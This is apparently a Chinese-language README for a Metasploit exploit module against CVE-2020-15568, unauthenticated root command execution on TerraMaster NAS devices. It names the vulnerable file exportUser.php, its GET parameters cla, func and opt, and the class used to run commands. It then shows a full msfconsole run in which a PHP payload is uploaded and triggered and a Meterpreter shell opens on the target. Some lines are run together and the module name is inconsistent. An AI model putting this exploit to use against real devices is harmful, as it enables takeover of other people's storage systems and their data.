CVE-2020-15568 Metasploit 模块仓库
文件 include/exportUser.php 中存在一个动态类方法调用漏洞,可在 TerraMaster 设备上以 root 权限执行远程命令。
该漏洞文件需要提供几个 HTTP GET 参数,才能到达方法调用并利用此漏洞。在第一行,应用包含了 app.php,它会自动加载 TOS 软件的相关核心类。
应用根据 GET 参数 type 的值来决定操作。如果 type 变量的值不是 1 或 2,则可能到达易受攻击的代码。
查看 exportUser.php 的源代码,应用要求提供 HTTP GET 参数 cla(class 的简写)、func 和 opt。
在审查其他文件时也发现,可以利用 TOS 软件中已有的类来利用此问题。
位于 include/class/application.class.php 的 PHP 类是在运行 TOS 软件的设备上执行命令的最佳候选。
由于 没有身份验证控制,未经身份验证的攻击者有可能实现代码执行。
exportUser.phpuse exploit/multi/http/terramaster_command_execset rhost 192.168.1.27check[+] 192.168.1.27:80 - 目标存在漏洞。
Exploit targets:
Id Name
-- ----
0 Auto
msf5 > use exploit/multi/http/terra_master_command_exec
msf5 exploit(exploit/multi/http/terramaster_command_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/terramaster_command_exec) > run
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 192.168.1.27:9090
[*] Sending stage (38288 bytes) to 192.168.1.27
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300
meterpreter >```